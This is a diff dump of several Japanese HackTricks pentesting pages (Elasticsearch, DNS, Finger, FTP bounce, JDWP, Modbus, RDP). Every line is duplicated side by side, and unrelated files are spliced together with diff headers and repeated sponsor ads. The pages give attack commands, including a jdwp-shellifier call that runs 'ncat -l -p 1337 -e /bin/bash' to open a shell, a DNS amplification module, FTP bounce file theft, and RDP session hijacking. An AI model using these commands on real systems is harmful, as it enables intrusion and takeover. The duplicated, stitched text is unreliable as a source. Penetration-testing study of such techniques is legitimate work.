情報を探している場合は、すべてのインデックスで**生の検索を行うことができます**: `http://host:9200/_search?pretty=true&q=<search_term>` 例えば `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` 情報を探している場合は、すべてのインデックスで**生の検索を行うことができます**: `http://host:9200/_search?pretty=true&q=<search_term>`例えば `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` のように。
![](<../.gitbook/assets/image (335).png>) ![](<../.gitbook/assets/image (335).png>)
特定のインデックスで**検索したい場合**は、**パス**にそれを**指定するだけです**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>` 特定のインデックスで**検索したい場合**は、**パス**にそれを**指定するだけです**: `http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_コンテンツを検索するために使用されるqパラメータは、**正規表現をサポートしています**_ _コンテンツを検索するために使用されるqパラメータは、**正規表現をサポートしています**_
[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用して、elasticsearchサービスをファズすることもできます。 また、[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)のようなものを使用して、elasticsearchサービスをファズすることもできます。
### 書き込み権限 ### 書き込み権限
@ -190,7 +190,7 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本情報** ## **基本情報**
**ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comのような**覚えやすいドメイン名**を通じてウェブサイトにアクセスできるようにします。ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、オンライン世界のナビゲートを簡素化します。 **ドメインネームシステム (DNS)** はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comのような**覚えやすいドメイン名**を通じてウェブサイトにアクセスできるようにします。これにより、数値のインターネットプロトコル (IP) アドレスの代わりに、ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込むことを保証し、オンライン世界のナビゲートを簡素化します。
**デフォルトポート:** 53 **デフォルトポート:** 53
``` ```
@ -118,7 +118,7 @@ dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
内部IPアドレスに解決するサブドメインを見つけることができた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行してみてください。 内部IPアドレスに解決するサブドメインを見つけることができた場合、そのIP範囲を要求するドメインのNSに対してリバースDNSブルートフォースを実行してみてください。
{% endhint %} {% endhint %}
別のツール: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) 別のツールはこちら: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
リバースIP範囲をクエリできます: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (このツールはBGPにも役立ちます)。 リバースIP範囲をクエリできます: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (このツールはBGPにも役立ちます)。
@ -172,7 +172,7 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価する **ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -180,9 +180,9 @@ dig google.com A @<IP>
### 存在しないアカウントへのメール ### 存在しないアカウントへのメール
ターゲットドメイン内の無効なアドレスに送信されたメールによってトリガーされた不達通知NDNを調査することで、貴重な内部ネットワークの詳細がしばしば開示されます。 ターゲットドメイン内の無効なアドレスに送信されたメールによってトリガーされた配信不能通知NDNを調査することで、貴重な内部ネットワークの詳細がしばしば開示されます。
提供された不達報告には以下の情報が含まれています: 提供された配信不能報告には以下の情報が含まれています:
* 生成サーバーは `server.example.com` として特定されました。 * 生成サーバーは `server.example.com` として特定されました。
* `user@example.com` に対する失敗通知がエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` と共に返されました。 * `user@example.com` に対する失敗通知がエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` と共に返されました。
@ -220,7 +220,7 @@ host.conf
/etc/bind/named.conf.log /etc/bind/named.conf.log
/etc/bind/* /etc/bind/*
``` ```
危険な設定をBindサーバーに構成する際 危険な設定をBindサーバーを構成する際に
| **オプション** | **説明** | | **オプション** | **説明** |
| ----------------- | ------------------------------------------------------------------------------ | | ----------------- | ------------------------------------------------------------------------------ |
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -34,7 +34,7 @@ PORT STATE SERVICE
``` ```
## **列挙** ## **列挙**
### **バナー取得/基本接続** ### **バナーグラビング/基本接続**
```bash ```bash
nc -vn <IP> 79 nc -vn <IP> 79
echo "root" | nc -vn <IP> 79 echo "root" | nc -vn <IP> 79
@ -75,7 +75,7 @@ finger @internal@external
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -91,7 +91,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,7 +15,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -24,7 +24,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
# 概要 # 概要
バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー認証情報を知っているサーバー)にファイルをリクエストさせ、そのファイルを自分のサーバーにダウンロードさせることができます。 バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー認証情報を知っている場合)にファイルを要求させ、そのファイルを自分のサーバーにダウンロードさせることができます。
## 要件 ## 要件
@ -36,19 +36,19 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
## 手順 ## 手順
1. 自分のFTPサーバーに接続し、接続をパッシブにしますpasvコマンドし、被害者サービスがファイルを送信するディレクトリで待機します。 1. 自分のFTPサーバーに接続し、接続をパッシブにしpasvコマンド、被害者サービスがファイルを送信するディレクトリで待機させる
2. FTPミドルサーバーが被害者サーバーに送信するファイルを作成します(エクスプロイト)。このファイルは、被害者サーバーに対して認証するために必要なコマンドのプレーンテキストであり、ディレクトリを変更し、自分のサーバーにファイルをダウンロードします。 2. FTPミドルサーバーが被害者サーバーに送信するファイルを作成す(エクスプロイト)。このファイルは、被害者サーバーに対して認証するための必要なコマンドのプレーンテキストになります。
3. FTPミドルサーバーに接続し、前のファイルをアップロードします。 3. FTPミドルサーバーに接続し、前のファイルをアップロードする
4. FTPミドルサーバーが被害者サーバーと接続を確立し、エクスプロイトファイルを送信します。 4. FTPミドルサーバーが被害者サーバーと接続を確立し、エクスプロイトファイルを送信させる
5. 自分のFTPサーバーでファイルをキャプチャします。 5. 自分のFTPサーバーでファイルをキャプチャする
6. FTPミドルサーバーからエクスプロイトファイルを削除します。 6. FTPミドルサーバーからエクスプロイトファイルを削除する
詳細な情報については、次の投稿を確認してください:[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) 詳細な情報については、次の投稿を確認してください:[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。

View file

@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## エクスプロイト ## Exploiting
JDWPのエクスプロイトは、**プロトコルの認証と暗号化の欠如**に依存しています。一般的には**ポート8000**で見つかりますが、他のポートも可能です。最初の接続は、ターゲットポートに「JDWP-Handshake」を送信することで行われます。JDWPサービスがアクティブであれば、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを特定するためのフィンガープリンティング手法として機能します。 JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存しています。一般的には**ポート8000**で見られますが、他のポートも可能です。最初の接続は、ターゲットポートに「JDWP-Handshake」を送信することで行われます。JDWPサービスがアクティブであれば、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを特定するためのフィンガープリンティング手法として機能します。
プロセス識別に関しては、Javaプロセス内で「jdwk」という文字列を検索することで、アクティブなJDWPセッションを示すことができます。 プロセス識別に関しては、Javaプロセス内で「jdwk」という文字列を検索することで、アクティブなJDWPセッションを示すことができます。
使用するツールは[**jdwp-shellifier**](https://github.com/hugsy/jdwp-shellifier)です。さまざまなパラメータで使用できます: 使用するツールは[jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)です。さまざまなパラメータで使用できます:
```bash ```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
@ -54,7 +54,7 @@ JDWPのエクスプロイトは、**プロトコルの認証と暗号化の欠
4. **エクスプロイト**: 4. **エクスプロイト**:
- JDWPは任意のクラスとバイトコードをロードおよび呼び出すことを許可し、セキュリティリスクを引き起こします。 - JDWPは任意のクラスとバイトコードをロードおよび呼び出すことを許可し、セキュリティリスクを引き起こします。
- 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出すという5つのステップからなるエクスプロイトプロセスを詳述しています。 - 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出すという5つのステップからなるエクスプロイトプロセスが詳述されています。
5. **実際のエクスプロイト**: 5. **実際のエクスプロイト**:
- ファイアウォール保護の可能性にもかかわらず、JDWPサービスは発見可能で、ShodanHQやGitHubなどのプラットフォームでの検索によって実際のシナリオでエクスプロイト可能です。 - ファイアウォール保護の可能性にもかかわらず、JDWPサービスは発見可能で、ShodanHQやGitHubなどのプラットフォームでの検索によって実際のシナリオでエクスプロイト可能です。
@ -80,9 +80,9 @@ JDWPのエクスプロイトは、**プロトコルの認証と暗号化の欠
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価 **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重でエクスプロイト可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動エクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重でエクスプロイト可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動エクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -96,7 +96,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -24,7 +24,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
# 基本情報 # 基本情報
1979年に**Modbusプロトコル**がModiconによって開発され、メッセージ構造として機能します。その主な用途は、マスター-スレーブ/クライアント-サーバーモデルの下で、インテリジェントデバイス間の通信を促進することです。このプロトコルは、デバイスが効率的にデータを交換できるようにする上で重要な役割を果たします。 1979年に**Modbusプロトコル**がModiconによって開発され、メッセージ構造として機能します。その主な用途は、マスタースレーブ/クライアントサーバーモデルの下で、インテリジェントデバイス間の通信を促進することです。このプロトコルは、デバイスが効率的にデータを交換できるようにする上で重要な役割を果たします。
**デフォルトポート:** 502 **デフォルトポート:** 502
``` ```
@ -38,14 +38,14 @@ msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid msf> use auxiliary/scanner/scada/modbus_findunitid
``` ```
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -55,7 +55,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -72,7 +72,7 @@ rdp_check <domain>/<name>:<password>@<IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -82,7 +82,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### セッションの盗難 ### セッションの盗難
**SYSTEM権限**を持つことで、所有者のパスワードを知る必要なく、**任意のユーザーによって開かれたRDPセッションにアクセス**できます。 **SYSTEM権限**を持つことで、**所有者のパスワードを知る必要なく、任意のユーザーによって開かれたRDPセッションにアクセスできます。**
**開かれたセッションを取得:** **開かれたセッションを取得:**
``` ```
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性Microsoftによって機能としてリストされていますは、リモート攻撃者が**被害者のデスクトップをの同意なしに表示し**、さらには要求に応じて制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用して行われます。 **AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイフレームワークです。この脆弱性Microsoftによって機能としてリストされていますは、リモート攻撃者が**被害者のデスクトップをの同意なしに表示し**、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用して行われます。
